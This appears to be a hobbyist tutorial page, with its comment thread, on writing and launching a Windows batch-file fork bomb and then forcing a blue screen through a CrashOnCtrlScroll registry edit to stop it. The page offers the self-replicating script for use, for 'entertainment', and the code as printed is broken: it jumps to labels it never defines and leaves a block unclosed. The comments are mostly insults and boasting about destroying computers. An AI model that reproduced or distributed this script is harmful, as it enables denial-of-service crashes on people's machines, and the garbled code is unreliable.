Program a Fork Bomb! As Well As Diffusing It




About: I want to post something useful, after all these years on this site, *I want to post something useful*.

 In this instructable, you will be making a fork bomb. A fork bomb is a batch file that copies itself. The copy will have the same programming and so will make a copy of itself, and the process continues until you've figured out a way to stop the process. Luckily, I've found something that will stop the reaction, but at the expense of restarting the computer using.. well.. the BSOD!!!! (aka. Blue Screen Of Death (the blue error screen?(never mind..))).

Special thanks to: wizerd 745 for the code

If you have a lot of experience in writing codes and stuff like that, this is not recommended because it looks so puny

Step 1: Programming

First off, copy this code into notepad:

@echo off
set name=%0
set clone=1
If not exist clone%clone%.bat (
copy "%name%" "clone%clone%.bat"
) else (
set /a clone=%clone%+1
GoTo clone
start %name%
start clone%clone%.bat
GoTo start

Save it into whatever folder you wish. Before saving it though, make sure there is the file extension ".bat" (including period, without quotes) after the file name and save it as "all files".

Step 2: Activating THE BOMB

I tried double clicking on the file once. Nothing happened, so I resorted to more technical methods. My motto for my PC: If everything else fails, use command prompt! And it worked! All you have to do is to type the following in command prompt:

start fork bomb.bat

Explanation: Type start, then the name of the .bat file including the .bat extension. What it does is, well, start the file! It's not really all technical or complicated, but I guess some of you haven't heard of command prompt. To open command prompt press start->all programs->accessories->command prompt. You would see a small window pop up. It looks kinda low tech, but I use it to get IP addresses to... That would be a different instructable.

Step 3: Diffuse the Bomb Before It Makes a Mess!

I use this method to get out of a situation where your computer has no restart  button and you're stuck with a fork bomb. The only con is that you need Windows XP for this. Google around for more solutions, but here's mine anyway (also Googled around).

Go to Start --> Run --> type "regedit"(a window should pop up) --> HKEY_LOCAL_MACHINE --> System --> Current Control Set --> Services --> i8042prt --> Parameters

You should now see what I see in pic. 1. Now right click on an empty space in the main window. Make a new "DWORD" value in there. When you right click, you will see the word "new" hover over that and a subset will pop up showing you options. Click on "DWORD Value". When that's done, a new file will pop up in the rename mode. Rename it to "CrashOnCtrlScroll". Right click on the new file and click on "modify". Another window will pop up with the "Value" section highlighted. Change the value to one. Don't do anything else but to change the value to 1. Now it's done.

To use the BSOD command, simply press and hold the right hand "alt" key and press the "scroll lock" key twice. You will now get a BSOD that will end your fork bomb misery!



    • Trash to Treasure

      Trash to Treasure
    • Arduino Contest 2019

      Arduino Contest 2019
    • Tape Contest

      Tape Contest

    23 Discussions


    1 year ago

    Can you fork bomb a specific ip?


    1 year ago

    Dude, this works too.



    8 years ago on Introduction

    You might want to stop feeding any trolls you might encounter over here. The best way to do it is to ignore him completely. All they try to achieve is to turn any discussion into flaming, fights etc. On the other hand you've got quite a nice 'ible there. I've seen fork bombs for Linux already, but not for Windows. Thanks for pointing it out. You might want to use PNG for the images the next time though as JPG messes up pictures with high contrasts (such as screenshots) pretty badly. Even the resulting file will be much smaller. One more thing: I wonder whether there's a more convenient way to terminate a fork bomb (i.e. without crashing/restarting your PC) that can be used against Windows fork bombs.....

    6 replies

    I'm sure there's someone out there with the programming knowledge to crunch out a file for terminating fork bombs.


    Reply 3 years ago

    Not if the bomb uses all the cpu instantly. Then you can't do anything, exept hold the power button.


    Reply 6 years ago on Introduction

    Here's how:

    I got all my information from wikipedia :P


    8 years ago on Step 3

    first of all. i wouldnt be surprised if u didnt actually have a clue what to do with a IP adress if u got one, secondly, you got the code off of someone else, you noob. write ur own codes. it people like u that people like me hate, because you write stuff like your a computer genius, but its actually one of the easiest things to do, write your own code, learn how to hack properly. THEN get back to me. MessMaker.

    10 replies

    1) IP addresses are out of topic.
    2) I know what you meant with the first sentence
    3) I told him about this i'ble so the permission from the author is pending and gave the guy 2 options, either to tear this down or keep it. 
    4) Like I think I'm the computer genius around here. I don't know smack about 75% of what the hell is in this PC.
    5) I know writing code is easy, but I have other priorities so I can't really devote my brain to giving me a code.
    6) I know that I got it off someone, but like I said, permission pending.

    other priorities? or, you wouldnt know where to start? and all you understood was the first sentence? your the kind of person that would bluescreen themselves.

    actually all of the above is true except I BSOD myself for only 2 days for entertainment due to absence of internet for the past 2 days (and I'm the kind of person that crams things and not looking at the checklist) and I said "I know writing code is easy" but I'm not the type of person that keeps typing because (as I said) I have other priorities so please get to the point so that I don't have to argue with you for the rest of the month. Oh, and I don't hack. I just put it here for entertainment purposes.


    Reply 8 years ago on Step 3

    Sorry to but in here 'messmaker' but after reading your comments and reading your insctructables, i find myself wondering who are people like you? people who go around claiming to be hackers after opening command prompt and typing "help" or "shutdown /?" or finding a file online. If you can write an 'ble wich includes a script that you wrote yourself, and is more impressive than the fork bomb (it can also make use of an IP adress if you wish) i might consider thinking about who people like you are. OK?


    Reply 8 years ago on Step 3

    batch scripts are amazingly easy.
    your not a hacker if you can write a batch script.


    Reply 3 years ago

    Actually, a hacker is someone who writes code with malicious intent.


    Reply 7 years ago on Introduction

    messmaker, you should drop the end of your name, because that's all you are, a mess (mind you that mess is sometimes used when an alternative word is unacceptable)

    you want to bash someone for posting something here that they may not have written but did research to find the info, and i don't have time to look up your petty meaningless instructables, but seriously if you need to come here to flame people then please, GTFO (get the mess out)! and never come back, pretty please?!


    Reply 7 years ago on Introduction

    How old are you joel? 5? 6? No? Then stop acting like you are. I doubt nutsandbolts_64 did any research first of all. It was probably an "OMG I love this! -copy, paste, copy, paste-" moment. And I doubt you could even make an original batch file in the first place. And secondly, I wouldn't screw with messmaker because he and i both could destroy your computer with a single line of text.


    Reply 7 years ago on Introduction

    hahaha 30 years old, yet still posting remarkably un thought out comments in which points were null?